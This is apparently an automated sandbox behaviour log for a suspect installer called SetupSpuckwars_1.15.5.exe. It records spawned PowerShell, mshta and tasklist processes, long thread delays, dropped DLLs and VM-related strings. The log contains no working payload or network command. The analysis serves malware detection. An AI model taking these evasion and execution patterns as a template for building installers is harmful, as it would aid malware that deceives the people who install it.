Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3353Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3782Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3074Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ff48538d-447c-44d8-b8dd-56b91bbce6b3.tmp.nodeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\resources\elevate.exeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\vulkan-1.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\vk_swiftshader.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\nsis7z.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\0fddd3c7-f5ed-405a-a51a-7dec4b6a2baf.tmp.nodeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\System.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6184Thread sleep count: 3353 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6184Thread sleep count: 3782 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7188Thread sleep time: -4611686018427385s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7176Thread sleep time: -2767011611056431s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7300Thread sleep count: 3074 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7344Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7304Thread sleep count: 136 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7320Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\app-64.7zJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\resourcesJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\userJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\localesJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: libGLESv2.dll.0.drBinary or memory string: VMware
Source: libGLESv2.dll.0.drBinary or memory string: IIAMDARMAppleBroadcomGoogleIntelMesaMicrosoftNVIDIAImagination TechnologiesQualcommSamsung Electronics Co., Ltd.VivanteVMwareTestX
Source: libGLESv2.dll.0.drBinary or memory string: (IsLinux() && isVMWare) || (IsAndroid() && isNvidia) || (IsAndroid() && GetAndroidSdkLevel() < 27 && IsAdreno5xxOrOlder(functions)) || (IsAndroid() && IsMaliT8xxOrOlder(functions)) || (IsAndroid() && IsMaliG31OrOlder(functions))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1624 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2024 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
